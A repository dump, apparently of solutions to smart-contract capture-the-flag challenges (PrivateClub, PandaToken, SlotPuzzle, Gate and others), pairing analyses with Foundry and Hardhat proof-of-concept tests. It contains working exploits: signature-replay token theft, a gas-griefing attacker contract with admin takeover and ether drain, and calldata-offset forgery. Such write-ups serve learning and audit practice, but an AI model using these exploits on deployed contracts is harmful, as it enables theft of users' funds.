user4 can not become member - blockGasLimit 71 | vm.startPrank(user4); 72 | address[] memory mForUser4 = new address[](club.membersCount()); 73 | for (uint i = 0; i < club.membersCount(); i++) { 74 | mForUser4[i] = club.members_(i); 75 | } 76 | uint etherAmount = mForUser4.length * 1 ether; 77 | uint gasleftbeforeTxStart = gasleft(); 78 | club.becomeMember{value: etherAmount}(mForUser4); 79 | uint gasleftAfterTxStart = gasleft(); 80 | 81 | assertGt(gasleftbeforeTxStart - gasleftAfterTxStart, blockGasLimit); 82 | vm.stopPrank(); 83 | 84 | 85 | vm.startPrank(hacker); 86 | // task2: buy admin role and withdraw all ether from the club 87 | // solution: 88 | club.buyAdminRole{value: 10 ether}(hacker); 89 | club.adminWithdraw(hacker, address(club).balance); 90 | 91 | // check - hacker is owner of club 92 | assertEq(club.owner(), hacker); 93 | assertGt(hacker.balance, 110000000000000000000 - 1); 94 | } 95 | } 96 | 97 | contract HackerContract { 98 | address hacker; 99 | 100 | // a switch for either consuming gas or not when receive ether 101 | bool consumeGas; 102 | 103 | constructor() { 104 | hacker = msg.sender; 105 | } 106 | 107 | function setConsume120000Gas(bool b) public { 108 | consumeGas = b; 109 | } 110 | 111 | function becomeMember(PrivateClub club) public payable { 112 | // 4 existing members: adminFriend, user2, user3, hacker 113 | address[] memory m = new address[](4); 114 | m[0] = hacker; 115 | m[1] = hacker; 116 | m[2] = hacker; 117 | m[3] = address(this); 118 | club.becomeMember{value: address(this).balance}(m); 119 | } 120 | 121 | receive() external payable { 122 | // redirect any ether received back to hacker 123 | hacker.call{value: address(this).balance}(""); 124 | 125 | if(consumeGas) { 126 | uint targetGas = gasleft() - 120000; 127 | 128 | // consume 120000+ gas 129 | while(gasleft() > targetGas) { 130 | } 131 | } 132 | } 133 | } 134 | -------------------------------------------------------------------------------- /Panda.md: -------------------------------------------------------------------------------- 1 | # Analysis: 2 | ### Storage slots: 3 | The storage layout can be printed with `solc --storage-layout ...`, a list of used slots and corresponding variables: 4 | - slot 0: `ERC20._balances` 5 | - slot 5: `Ownable._owner` 6 | - slot 6: `PandaToken.c1` 7 | - slot 7: `PandaToken.usedSignatures` 8 | 9 | ### The function `calculateAmount()`: 10 | It reads slot 6, which is variable `c1`, assigned with value 400 in constructor. 11 | 12 | Just by replacing variables, the function can be simplified to: 13 | ```solidity 14 | function calculateAmount2( 15 | uint arg 16 | ) public pure returns (uint) { 17 | uint ret; 18 | assembly { 19 | ret := div(mul(arg, 1000), 1000) 20 | } 21 | return ret; 22 | } 23 | 24 | ``` 25 | It simply does nothing, just returns the argument. (overflow is not concerned here) 26 | 27 | ### The constructor: 28 | 29 | 30 | ```solidity 31 | let ptr := mload(0x40) // 0x40: get the free memory pointer, ptr = 0x100 32 | mstore(ptr, sload(mul(1, 110))) // mem[ptr] = 0, because store[110] == 0 33 | mstore(add(ptr, 0x20), 0) // mem[ptr+0x20] = 0 34 | let slot := keccak256(ptr, 0x40) // slot = sha3(zero_address + slot_0 of `ERC20._balances`) 35 | 36 | sstore(slot, exp(10, add(4, mul(3, 5)))) // store[slot] = 10**19 => _balances[0] = 1 ether 37 | ``` 38 | The first 4 lines write 0x40 zeroes to ptr, followed by a `keccak256`, it's calculating a mapping slot, the slot is calulated like: `keccak256(address, slot)`, so: 39 | 1. The address is 0 40 | 2. The slot is zero, hence it is `ERC20._balances`. 41 | 42 | It's equivalent to `_balances[0]`, and stores 10**19(10 ether) in that slot. 43 | 44 | ```solidity 45 | sstore(6, _c1) // c1 == 400 46 | ``` 47 | This line stores 400 to the variable `c1`, which is passed in contructor. 48 | 49 | ```solidity 50 | mstore(ptr, sload(5)) // slot 5 is 'Ownable._owner', mem[ptr] = owner 51 | mstore(add(ptr, 0x20), 0) // mem[ptr+0x20] = 0 52 | let slot1 := keccak256(ptr, 0x40) // slot1 = sha3(owner, slot_0 of `ERC20._balances`) 53 | 54 | // these two lines are doing cleanup, which are useless 55 | // mstore(ptr, sload(7)) // sizeof 'usedSignatures' == 0, mem[ptr] = 0 56 | // mstore(add(ptr, 0x20), 0) // mem[ptr+0x20] = 0 57 | 58 | sstore(slot1, mul(sload(slot), 2)) // _balances[owner] = 2 * _balances[0] 59 | ``` 60 | The 4 lines update owner's balance, setting it to `2 * balanceOf(0)`. 61 | 62 | After the constructor is called: 63 | - `balanceOf(owner)`: 20 ether 64 | - `balanceOf(0)`: 10 ether 65 | 66 | 67 | ### Function `getTokens(amount, signature)`: 68 | It uses the signature to recover the address, there're two problems: 69 | 1. It only uses the first 0x41 bytes of the signature, but it caches and compares with the whole signature bytes. So solution 1 is: 70 | 71 | - Send multiple request with a fixed 0x41 bytes and some different trailing bytes to bypass the check of "used signature", and steal token from `owner`. 72 | 73 | 2. It doesn't verify the result of `ecrecover`, if the signature is wrong, the `ecrecover` can return 0. 74 | We don't even need to provide a correct 0x41 bytes, so solution 2: 75 | 76 | - Send different bytes as signature, steal token from the `address(0)`. 77 | 78 | 79 | # POC (Foundry) 80 | ```solidity 81 | // SPDX-License-Identifier: MIT 82 | pragma solidity ^0.8; 83 | 84 | import "forge-std/Test.sol"; 85 | import "src/PandaToken.sol"; 86 | 87 | 88 | contract Hack is Test { 89 | PandaToken pandatoken; 90 | address owner = vm.addr(1); 91 | address hacker = vm.addr(2); 92 | 93 | function setUp() external { 94 | vm.prank(owner); 95 | pandatoken = new PandaToken(400, "PandaToken", "PND"); 96 | } 97 | 98 | function test() public { 99 | vm.startPrank(hacker); 100 | bytes32 hash = keccak256(abi.encode(hacker, 1 ether)); 101 | (uint8 v, bytes32 r, bytes32 s) = vm.sign(1, hash); 102 | 103 | // solution 104 | 105 | // method 1. get token from owner 106 | // the first 0x41 bytes must be correct 107 | { 108 | bytes memory signature = abi.encodePacked(r, s, v); 109 | pandatoken.getTokens(1 ether, signature); 110 | } 111 | { 112 | bytes memory signature = abi.encodePacked(r, s, v, uint(1)); 113 | pandatoken.getTokens(1 ether, signature); 114 | } 115 | { 116 | bytes memory signature = abi.encodePacked(r, s, v, uint(2)); 117 | pandatoken.getTokens(1 ether, signature); 118 | } 119 | 120 | // method 2. get token from address(0) 121 | // just send any bytes to it, as long as it's different 122 | // 123 | // for (uint i=0; i<3; i++) { 124 | // bytes memory signature = abi.encodePacked(i, i, i); 125 | // pandatoken.getTokens(1 ether, signature); 126 | // } 127 | 128 | assertEq(pandatoken.balanceOf(hacker), 3 ether); 129 | } 130 | } 131 | 132 | ``` 133 | -------------------------------------------------------------------------------- /PrivateClub.md: -------------------------------------------------------------------------------- 1 | # Vulnerability 2 | The club was intended to force a new member to pay all existing members when he joins, but it shouldn't allow user to pass the `_members` as a parameter. One can become member freely with the `_members` that contains all of his own wallet address. 3 | 4 | A contract can be used to consume the 120000 gas, just use a simple loop in its `receive()` function. And then add this contract as a `member` to the club. 5 | 6 | # POC 7 | ```solidity 8 | // SPDX-License-Identifier: MIT 9 | pragma solidity ^0.8.0; 10 | 11 | import "forge-std/Test.sol"; 12 | import "../src/PrivateClub.sol"; 13 | 14 | contract HackPrivateClub is Test { 15 | PrivateClub club; 16 | 17 | address clubAdmin = makeAddr("clubAdmin"); 18 | address adminFriend = makeAddr("adminFriend"); 19 | address user2 = makeAddr("user2"); 20 | address user3 = makeAddr("user3"); 21 | address user4 = makeAddr("user4"); 22 | address hacker = makeAddr("hacker"); 23 | uint blockGasLimit = 120000; 24 | 25 | function setUp() public { 26 | vm.deal(clubAdmin, 100 ether); 27 | vm.deal(hacker, 10 ether); 28 | vm.deal(user2, 10 ether); 29 | vm.deal(user3, 10 ether); 30 | vm.deal(user4, 10 ether); 31 | 32 | vm.startPrank(clubAdmin); 33 | club = new PrivateClub(); 34 | club.setRegisterEndDate(block.timestamp + 5 days); 35 | club.addMemberByAdmin(adminFriend); 36 | address(club).call{value: 100 ether}(""); 37 | vm.stopPrank(); 38 | 39 | vm.startPrank(user2); 40 | address[] memory mForUser2 = new address[](1); 41 | mForUser2[0] = adminFriend; 42 | club.becomeMember{value: 1 ether}(mForUser2); 43 | vm.stopPrank(); 44 | 45 | vm.startPrank(user3); 46 | address[] memory mForUser3 = new address[](2); 47 | mForUser3[0] = adminFriend; 48 | mForUser3[1] = user2; 49 | club.becomeMember{value: 2 ether}(mForUser3); 50 | vm.stopPrank(); 51 | } 52 | 53 | function test_attack() public { 54 | vm.startPrank(hacker); 55 | // task1: become member of the club and 56 | // block future registrations (reason: out of gas - block gas limit) 57 | // solution: 58 | 59 | // 1) hacker becomes member 60 | // There're 3 existing members: adminFriend, user2, user3 61 | address[] memory mForHacker = new address[](3); 62 | mForHacker[0] = hacker; 63 | mForHacker[1] = hacker; 64 | mForHacker[2] = hacker; 65 | club.becomeMember{value: 3 ether}(mForHacker); 66 | 67 | // 2) hacker's contract becomes member 68 | HackerContract hContract = new HackerContract(); 69 | hContract.becomeMember{value: 4 ether}(club); 70 | hContract.setConsume120000Gas(true); 71 | 72 | vm.stopPrank(); 73 | // check - hacker is member 74 | assertTrue(club.members(hacker)); 75 | 76 | 77 | // check - user4 can not become member - blockGasLimit 78 | vm.startPrank(user4); 79 | address[] memory mForUser4 = new address[](club.membersCount()); 80 | for (uint i = 0; i < club.membersCount(); i++) { 81 | mForUser4[i] = club.members_(i); 82 | } 83 | uint etherAmount = mForUser4.length * 1 ether; 84 | uint gasleftbeforeTxStart = gasleft(); 85 | club.becomeMember{value: etherAmount}(mForUser4); 86 | uint gasleftAfterTxStart = gasleft(); 87 | 88 | assertGt(gasleftbeforeTxStart - gasleftAfterTxStart, blockGasLimit); 89 | vm.stopPrank(); 90 | 91 | 92 | vm.startPrank(hacker); 93 | // task2: buy admin role and withdraw all ether from the club 94 | // solution: 95 | club.buyAdminRole{value: 10 ether}(hacker); 96 | club.adminWithdraw(hacker, address(club).balance); 97 | 98 | // check - hacker is owner of club 99 | assertEq(club.owner(), hacker); 100 | assertGt(hacker.balance, 110000000000000000000 - 1); 101 | } 102 | } 103 | 104 | contract HackerContract { 105 | address hacker; 106 | 107 | // a switch for either consuming gas or not when receive ether 108 | bool consumeGas; 109 | 110 | constructor() { 111 | hacker = msg.sender; 112 | } 113 | 114 | function setConsume120000Gas(bool b) public { 115 | consumeGas = b; 116 | } 117 | 118 | function becomeMember(PrivateClub club) public payable { 119 | // 4 existing members: adminFriend, user2, user3, hacker 120 | address[] memory m = new address[](4); 121 | m[0] = hacker; 122 | m[1] = hacker; 123 | m[2] = hacker; 124 | m[3] = address(this); 125 | club.becomeMember{value: address(this).balance}(m); 126 | } 127 | 128 | receive() external payable { 129 | // redirect any ether received back to hacker 130 | hacker.call{value: address(this).balance}(""); 131 | 132 | if(consumeGas) { 133 | uint targetGas = gasleft() - 120000; 134 | 135 | // consume 120000+ gas 136 | while(gasleft() > targetGas) { 137 | } 138 | } 139 | } 140 | } 141 | 142 | ``` 143 | -------------------------------------------------------------------------------- /Collect.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8; 3 | 4 | import "forge-std/Test.sol"; 5 | import {ERC20} from "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol"; 6 | import {INonfungiblePositionManager} from "v3-periphery/interfaces/INonfungiblePositionManager.sol"; 7 | import {TickMath} from "v3-core/libraries/TickMath.sol"; 8 | import {IUniswapV3Factory} from "v3-core/interfaces/IUniswapV3Factory.sol"; 9 | import {IUniswapV3Pool} from "v3-core/interfaces/IUniswapV3Pool.sol"; 10 | import {ISwapRouter} from "v3-periphery/interfaces/ISwapRouter.sol"; 11 | 12 | contract Token is ERC20 { 13 | constructor( 14 | string memory name, 15 | string memory symbol, 16 | uint initialMint 17 | ) ERC20(name, symbol) { 18 | _mint(msg.sender, initialMint); 19 | } 20 | } 21 | 22 | contract NFTRent is Test { 23 | Token DogToken; 24 | Token CatToken; 25 | uint tokenId1; 26 | uint defiMasterLP; 27 | uint128 defiMasterLiquidity; 28 | uint liquidity; 29 | address owner = makeAddr("owner"); 30 | address defiMaster = makeAddr("defiMaster"); 31 | address user = makeAddr("user"); 32 | uint24 poolFee = 3000; 33 | IUniswapV3Pool pool; 34 | ISwapRouter router = 35 | ISwapRouter(0xE592427A0AEce92De3Edee1F18E0157C05861564); 36 | INonfungiblePositionManager nonfungiblePositionManager = 37 | INonfungiblePositionManager(0xC36442b4a4522E871399CD717aBDD847Ab11FE88); 38 | IUniswapV3Factory UNISWAP_FACTORY = 39 | IUniswapV3Factory(0x1F98431c8aD98523631AE4a59f267346ea31F984); 40 | 41 | function setUp() public { 42 | // vm.createSelectFork("ankr"); 43 | 44 | vm.startPrank(owner); 45 | DogToken = new Token("DogToken", "DogToken", 1000000 ether); 46 | CatToken = new Token("CatToken", "CatToken", 1000000 ether); 47 | // gift from owner to user 48 | DogToken.transfer(user, 10000 ether); 49 | CatToken.transfer(user, 10000 ether); 50 | // owner lp 51 | nonfungiblePositionManager.createAndInitializePoolIfNecessary( 52 | address(DogToken), 53 | address(CatToken), 54 | 3000, 55 | 1 << 96 56 | ); 57 | 58 | pool = IUniswapV3Pool( 59 | UNISWAP_FACTORY.getPool(address(DogToken), address(CatToken), 3000) 60 | ); 61 | DogToken.approve(address(nonfungiblePositionManager), 10000 ether); 62 | CatToken.approve(address(nonfungiblePositionManager), 10000 ether); 63 | INonfungiblePositionManager.MintParams 64 | memory params = INonfungiblePositionManager.MintParams({ 65 | token0: address(DogToken), 66 | token1: address(CatToken), 67 | fee: poolFee, 68 | tickLower: -887220, 69 | tickUpper: 887220, 70 | amount0Desired: 1000 ether, 71 | amount1Desired: 1000 ether, 72 | amount0Min: 0, 73 | amount1Min: 0, 74 | recipient: owner, 75 | deadline: block.timestamp 76 | }); 77 | 78 | nonfungiblePositionManager.mint(params); 79 | 80 | (defiMasterLP, defiMasterLiquidity, , ) = nonfungiblePositionManager 81 | .mint(params); 82 | 83 | // owner send to defiMaster LP 721 token 84 | nonfungiblePositionManager.safeTransferFrom( 85 | owner, 86 | defiMaster, 87 | defiMasterLP 88 | ); 89 | vm.stopPrank(); 90 | } 91 | 92 | 93 | function BalDog() public returns(uint) { 94 | return DogToken.balanceOf(defiMaster); 95 | } 96 | function BalCat() public returns(uint) { 97 | return CatToken.balanceOf(defiMaster); 98 | } 99 | 100 | 101 | function test_solution() public { 102 | // solution 103 | vm.startPrank(defiMaster); 104 | 105 | INonfungiblePositionManager npm = nonfungiblePositionManager; 106 | 107 | { // remove liquidity 108 | 109 | INonfungiblePositionManager.DecreaseLiquidityParams memory decreaseLiquidityParams = INonfungiblePositionManager.DecreaseLiquidityParams({ 110 | tokenId: defiMasterLP, 111 | liquidity: defiMasterLiquidity, 112 | amount0Min: 0, 113 | amount1Min: 0, 114 | deadline: block.timestamp 115 | }); 116 | nonfungiblePositionManager.decreaseLiquidity(decreaseLiquidityParams); 117 | 118 | 119 | INonfungiblePositionManager.CollectParams memory _collectParams = INonfungiblePositionManager.CollectParams({ 120 | tokenId: defiMasterLP, 121 | recipient: defiMaster, 122 | amount0Max: type(uint128).max, 123 | amount1Max: type(uint128).max 124 | }); 125 | 126 | nonfungiblePositionManager.collect(_collectParams); 127 | 128 | 129 | DogToken.approve(address(nonfungiblePositionManager), type(uint256).max); 130 | CatToken.approve(address(nonfungiblePositionManager), type(uint256).max); 131 | 132 | 133 | INonfungiblePositionManager.MintParams memory mintParams = INonfungiblePositionManager.MintParams({ 134 | token0: address(DogToken), 135 | token1: address(CatToken), 136 | fee: poolFee, 137 | tickLower: 0, 138 | tickUpper: 120, 139 | amount0Desired: DogToken.balanceOf(defiMaster), 140 | amount1Desired: CatToken.balanceOf(defiMaster), 141 | amount0Min: 0, 142 | amount1Min: 0, 143 | recipient: defiMaster, 144 | deadline: block.timestamp 145 | }); 146 | (defiMasterLP, defiMasterLiquidity, , ) = nonfungiblePositionManager.mint(mintParams); 147 | } 148 | 149 | 150 | vm.stopPrank(); 151 | // end solution 152 | // -------------------------------------------------------- 153 | 154 | vm.startPrank(user); 155 | CatToken.approve(address(router), 100 ether); 156 | DogToken.approve(address(router), 100 ether); 157 | ISwapRouter.ExactInputSingleParams memory params = ISwapRouter 158 | .ExactInputSingleParams({ 159 | tokenIn: address(CatToken), 160 | tokenOut: address(DogToken), 161 | fee: 3000, 162 | recipient: user, 163 | deadline: block.timestamp, 164 | amountIn: 100 ether, 165 | amountOutMinimum: 0, 166 | sqrtPriceLimitX96: 0 167 | }); 168 | uint userOut = router.exactInputSingle(params); 169 | vm.stopPrank(); 170 | 171 | vm.startPrank(defiMaster); 172 | 173 | INonfungiblePositionManager.CollectParams memory collectParams = INonfungiblePositionManager.CollectParams({ 174 | tokenId: defiMasterLP, 175 | recipient: defiMaster, 176 | amount0Max: type(uint128).max, 177 | amount1Max: type(uint128).max 178 | }); 179 | 180 | (, uint collectAmount1) = nonfungiblePositionManager.collect( 181 | collectParams 182 | ); 183 | 184 | assertGt(collectAmount1, 298214374191364123); 185 | vm.stopPrank(); 186 | } 187 | } 188 | -------------------------------------------------------------------------------- /SlotPuzzle.md: -------------------------------------------------------------------------------- 1 | # The slot calculation: 2 | From the [doc](https://solidity-fr.readthedocs.io/fr/latest/internals/layout_in_storage.html#mappings-and-dynamic-arrays): 3 | 4 | The value corresponding to a mapping `key` is located at `keccak256(key . slotNum)`, we can write a helper function to calculate this: 5 | ```solidity 6 | // calculate slot number of `map[key]`, MK stands for "Map Key" 7 | function MK(uint key, uint mapSelfSlotIndex) public pure returns(uint) { 8 | return uint(keccak256(abi.encode(key, mapSelfSlotIndex))); 9 | } 10 | ``` 11 | The value corresponding to `map[key1][key2]` is located at `keccak(key2, keccak(key1, slotNum))`, we use another helper function for this: 12 | ```solidity 13 | // calculate slot number of `map[key1][key2]`, MKK stands for "Map Key Key" 14 | function MKK(uint key1, uint key2, uint mapSelfSlotIndex) public pure returns(uint) { 15 | uint slot1 = MK(key1, mapSelfSlotIndex); 16 | return MK(key2, slot1); 17 | } 18 | ``` 19 | Then, for calculating `ghostInfo[tx.origin][block.number]`, we can do: 20 | ```solidity 21 | slot = MKK(uint(uint160(hacker)), block.number, 1); 22 | ``` 23 | For `.map[block.timestamp][msg.sender]` and rest lines: 24 | ```solidity 25 | slot += 1; // Struct member `ghostStore.map` is at slot 1 26 | slot = MKK(block.timestamp, uint(uint160(address(slotPuzzleFactory))), slot); 27 | ``` 28 | For `.hash.push(ghost);`, it's array type and can be accessed by `keccak256(slot) + index`. Because it's the first element, the `index` is 0, it's simplly `keccak256(slot)` 29 | 30 | # Build the `Parameters` 31 | #### The goal: 32 | We need to get 3 ether, but the `payout` limits the amount as 1 ether, so we need to use 3 recipients to get 3 ether. 33 | 34 | #### The assembly slot calculation: 35 | ```solidity 36 | bytes memory slotKey = params.slotKey; 37 | uint256 offset = params.offset; 38 | assembly { 39 | offset := calldataload(offset) 40 | slot := calldataload(add(slotKey, offset)) 41 | } 42 | ``` 43 | - The local variable `slotKey` is the first variable utilizes memory, normally the free memory pointer starts from 0x80, so the `slotKey` is at 0x80. 44 | - It adds `offset` and `slotKey`, and the latter is 0x80, so it's simply `offset + 0x80`. 45 | - The `offset` is a pointer, the real offset is `calldata[offset]`, this value + 0x80 points to the location in the calldata that holds the real slot. We can add an extra 32-bytes to the `Parameters.slotKey` as a trampoline, points to the real slot key, and set the `Parameters.offset` to the trampoline, as: 46 | ```solidity 47 | params.slotKey = abi.encode(slot, uint(0x124)); 48 | ``` 49 | To explain this, here's the memory layout of calldata: 50 | ``` 51 | 4 bytes function signature + 52 | 0x0: 0000000000000000000000000000000000000000000000000000000000000020 53 | 0x20: 0000000000000000000000000000000000000000000000000000000000000003 54 | 0x40: 00000000000000000000000000000000000000000000000000000000000001c4 Parameters.offset, points to the last 32 bytes(offset 0x1c0 + 4byte-signature) 55 | 0x60: 0000000000000000000000000000000000000000000000000000000000000080 56 | 0x80: 0000000000000000000000000000000000000000000000000000000000000160 57 | 0xa0: 0000000000000000000000000000000000000000000000000000000000000003 58 | 0xc0: 000000000000000000000000a63c492d8e9ede5476ca377797fe1dc90eeae7fe 59 | 0xe0: 0000000000000000000000000000000000000000000000000de0b6b3a7640000 60 | 0x100: 000000000000000000000000a63c492d8e9ede5476ca377797fe1dc90eeae7fe 61 | 0x120: 0000000000000000000000000000000000000000000000000de0b6b3a7640000 62 | 0x140: 000000000000000000000000a63c492d8e9ede5476ca377797fe1dc90eeae7fe 63 | 0x160: 0000000000000000000000000000000000000000000000000de0b6b3a7640000 64 | 0x180: 0000000000000000000000000000000000000000000000000000000000000040 Parameters.slotKey 65 | 0x1a0: 754b4b7d6f6040542424c2056f8a1f3bc9d0006ff0a20abd08723e65cae65128 66 | 0x1c0: 0000000000000000000000000000000000000000000000000000000000000124 0x124+0x80==0x1a4, points to the above line(the real slot number) 67 | ``` 68 | 69 | 70 | # POC (Foundry) 71 | ```solidity 72 | // SPDX-License-Identifier: MIT 73 | pragma solidity ^0.8.0; 74 | 75 | import "forge-std/Test.sol"; 76 | 77 | import {SlotPuzzle} from "src/SlotPuzzle.sol"; 78 | import {SlotPuzzleFactory} from "src/SlotPuzzleFactory.sol"; 79 | import {Parameters,Recipients} from "src/ISlotPuzzleFactory.sol"; 80 | 81 | 82 | contract SlotPuzzleTest is Test { 83 | SlotPuzzle public slotPuzzle; 84 | SlotPuzzleFactory public slotPuzzleFactory; 85 | address hacker; 86 | 87 | function setUp() public { 88 | slotPuzzleFactory = new SlotPuzzleFactory{value: 3 ether}(); 89 | hacker = makeAddr("hacker"); 90 | } 91 | 92 | function testHack() public { 93 | vm.startPrank(hacker,hacker); 94 | assertEq(address(slotPuzzleFactory).balance, 3 ether, "weth contract should have 3 ether"); 95 | 96 | //hack time 97 | 98 | uint slot; 99 | { // calculate slot 100 | // for: `ghostInfo[tx.origin][block.number]` 101 | slot = MKK(uint(uint160(hacker)), block.number, 1); 102 | 103 | // for: `.map[block.timestamp][msg.sender]` 104 | slot += 1; // Struct member `ghostStore.map` is at slot 1 105 | slot = MKK(block.timestamp, uint(uint160(address(slotPuzzleFactory))), slot); 106 | 107 | // for: `.map[block.prevrandao][block.coinbase]` 108 | slot += 1; // Struct member `ghostStore.map` is at slot 1 109 | slot = MKK(block.prevrandao, uint(uint160(address(block.coinbase))), slot); 110 | 111 | // for: `.map[block.chainid][address(uint160(uint256(blockhash(block.number - block.basefee))))]` 112 | slot += 1; // Struct member `ghostStore.map` is at slot 1 113 | slot = MKK(block.chainid, uint(blockhash(block.number - block.basefee)), slot); 114 | 115 | // for: `.hash.push(ghost);` 116 | slot = uint(keccak256(abi.encode(slot))); 117 | } 118 | 119 | Parameters memory params; 120 | { // build Parameters 121 | params.totalRecipients = 3; // same as recipients.length 122 | params.offset = 0x1c4; // points to last 32bytes 123 | 124 | Recipients memory recip; // add `hacker` as recipient 3 times 125 | recip.account = hacker; 126 | recip.amount = 1 ether; // has to be 1 ether 127 | params.recipients = new Recipients[](3); 128 | for(uint i=0; i<3; i++) { 129 | params.recipients[i] = recip; 130 | } 131 | 132 | // append an extra 32bytes(value 0x124) to the end, which acts as 133 | // a trampoline, points to the real slot 134 | params.slotKey = abi.encode(slot, uint(0x124)); 135 | } 136 | 137 | slotPuzzleFactory.deploy(params); 138 | 139 | // ---- end of hack ---- 140 | 141 | assertEq(address(slotPuzzleFactory).balance, 0, "weth contract should have 0 ether"); 142 | assertEq(address(hacker).balance, 3 ether, "hacker should have 3 ether"); 143 | 144 | vm.stopPrank(); 145 | } 146 | 147 | // calculate slot number of `map[key]` 148 | function MK(uint key, uint mapSelfSlotIndex) public pure returns(uint) { 149 | return uint(keccak256(abi.encode(key, mapSelfSlotIndex))); 150 | } 151 | // calculate slot number of `map[key1][key2]` 152 | function MKK(uint key1, uint key2, uint mapSelfSlotIndex) public pure returns(uint) { 153 | uint slot1 = MK(key1, mapSelfSlotIndex); 154 | return MK(key2, slot1); 155 | } 156 | } 157 | 158 | ``` 159 | -------------------------------------------------------------------------------- /Gate.md: -------------------------------------------------------------------------------- 1 | # Analysis 2 | 3 | - The challenge chooses function `f00000000_bvvvdlt` and `f00000001_grffjzz` because their signatures are simply '0' and '1', which saves a lot code bytes. 4 | - The above '0'/'1' functions are required to return addresses, which can be implemented using storage variable. For function '0', return address at slot 0, and for function '1' return slot 1, this simplifies the logic and saves some bytes. 5 | - The above addresses are passed in constructor, which doesn't increase runtime code size. 6 | - To pass the `fail()` check, just `revert`. 7 | 8 | # EVM bytes 9 | ## runtime code 10 | 11 | | Bytes | Mnemonic | Stack | Comment | 12 | | ---- | ---- | ---- | ---- | 13 | | 6020 | PUSH1 20 | [0x20 | Prepare for `return` | 14 | | 6000 | PUSH1 0 | [0x20, 0 | | 15 | | 80 | DUP1 | [0x20, 0, 0 | | 16 | | | | | | 17 | | 35 | CALLDATALOAD | [0x20, 0, sig_32 | get calling function signature | 18 | | 60E0 | PUSH1 0xE0 | [0x20, 0, sig_32, 0xE0 | | 19 | | 1C | SHR | [0x20, 0, sig_4 | | 20 | | 80 | DUP1 | [0x20, 0, sig_4, sig_4 | | 21 | | | | | | 22 | | 6001 | PUSH1 1 | [0x20, 0, sig_4, sig_4, 1 | If signature > 1, go to Fallback, | 23 | | 90 | SWAP1 | [0x20, 0, sig_4, 1, sig_4 | otherwise load corresponding storage slot | 24 | | 11 | GT | [0x20, 0, sig_4, sig_4>1 | | 25 | | 60XX | PUSH Fallback | [0x20, 0, sig_4, sig_4>1, Fallback | | 26 | | 57 | JUMPI | [0x20, 0, sig_4 | | 27 | | | | | | 28 | | 54 | SLOAD | [0x20, 0, slot[sig_4] | Load slot 0 or 1, return that address | 29 | | 6000 | PUSH1 0 | [0x20, 0, slot[sig_4], 0 | | 30 | | 52 | MSTORE | [0x20, 0 | | 31 | | F3 | RETURN | | | 32 | | Fallback: | | | | 33 | | 5B | JUMPDEST | [0x20, 0, sig_4 | The Fallback, which handles the call | 34 | | 50 | POP1 | [0x20, 0 | of `fail()` | 35 | | FD | REVERT | | | 36 | 37 | Total 25 bytes, satisfies the 33 byte limit: 38 | > 60206000803560E01C806001901160155754600052F35B50FD 39 | 40 | ## deploy code 41 | 42 | | Bytes | Mnemonic | Stack | Comment | 43 | | ---- | ---- | ---- | ---- | 44 | | | | | Init constructor with two args | 45 | | 6020 | PUSH1 20 | [0x20 | | 46 | | 60A0 | PUSH1 A0 | [0x20, A0 | | 47 | | 6000 | PUSH1 0 | [0x20, A0, 0 | | 48 | | 39 | CODECOPY | [ | memory[0] == Arg0 | 49 | | 6000 | PUSH1 0 | [0 | | 50 | | 51 | MLOAD | [Arg0 | | 51 | | 6000 | PUSH1 0 | [Arg0, 0 | | 52 | | 55 | SSTORE | [ | storage[0] = memory[0] | 53 | | | | | | 54 | | 6020 | PUSH1 20 | [0x20 | | 55 | | 60A1 | PUSH1 A1 | [0x20, A1 | | 56 | | 6000 | PUSH1 0 | [0x20, A0, 0 | | 57 | | 39 | CODECOPY | [ | memory[0] == Arg1 | 58 | | 6000 | PUSH1 0 | [0 | | 59 | | 51 | MLOAD | [Arg0 | | 60 | | 6001 | PUSH1 1 | [Arg0, 1 | | 61 | | 55 | SSTORE | [ | storage[1] = memory[0] | 62 | | | | | | 63 | | | | | copy runtime code | 64 | | 6019 | PUSH1 0x19 | [0x19 | runtime code length: 25(0x19) | 65 | | 80 | DUP1 | [0x19, 0x19 | | 66 | | 60XX | PUSH1 XX | [0x19, 0x19, XX | XX: runtime code offset: 37(0x25) | 67 | | 6000 | PUSH1 0 | [0x19, 0x19, XX, 0 | | 68 | | 39 | CODECOPY | [0x19 | copy runtime code to memory[0] | 69 | | | | | | 70 | | 6000 | PUSH1 0 | [0x19, 0 | | 71 | | F3 | RETURN | | return runtime code | 72 | 73 | ## The full bytes 74 | The full bytes should be: 75 | > deploy_code + runtime_code + constructor_arg0 + constructor_arg1 76 | 77 | 78 | # POC (Hardhat) 79 | AttackGate.js: 80 | ```javascript 81 | const { ethers } = require('hardhat') 82 | const { expect } = require('chai') 83 | 84 | describe('[Challenge] Gate', function () { 85 | let deployer, attacker 86 | 87 | before(async function () { 88 | [deployer, attacker] = await ethers.getSigners() 89 | 90 | // Deploy 91 | this.gate = await (await ethers.getContractFactory('Gate', deployer)).deploy() 92 | expect( 93 | await this.gate.opened() 94 | ).to.be.false 95 | }) 96 | 97 | it('Exploit', async function () { 98 | 99 | var runtime_code = ethers.utils.hexlify( 100 | '0x60206000803560E01C806001901160155754600052F35B50FD' 101 | ) 102 | var deploy_code = ethers.utils.hexlify( 103 | '0x6020603E6000396000516000556020605E60003960005160015560198060256000396000F3' 104 | ) 105 | var bytes = ethers.utils.hexConcat([ 106 | deploy_code, 107 | runtime_code, 108 | ethers.utils.zeroPad(this.gate.address, 32), // arg0 of constructor 109 | ethers.utils.zeroPad(attacker.address, 32) // arg1 of constructor 110 | ]) 111 | 112 | // deploy 113 | const abi = [] 114 | const Contract = await ethers.getContractFactory(abi, bytes) 115 | this.solverContract = await Contract.deploy() 116 | 117 | // solve it 118 | await this.gate.connect(attacker).open( 119 | this.solverContract.address 120 | ) 121 | }) 122 | 123 | after(async function () { 124 | expect( 125 | await this.gate.opened() 126 | ).to.be.true 127 | }) 128 | }) 129 | 130 | 131 | ``` 132 | 133 | # Result 134 | 135 | > $ npx hardhat test AttackGate.js 136 | > 137 | > 138 | > [Challenge] Gate 139 | > 140 | > ✔ Exploit 141 | > 142 | > 143 | > 1 passing (810ms) 144 | -------------------------------------------------------------------------------- /MetaToken.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.13; 3 | 4 | import "forge-std/Test.sol"; 5 | import "../src/CurvePool.sol"; 6 | import "../src/CurveToken.sol"; 7 | import "../src/interfaces/ILendingPool.sol"; 8 | import 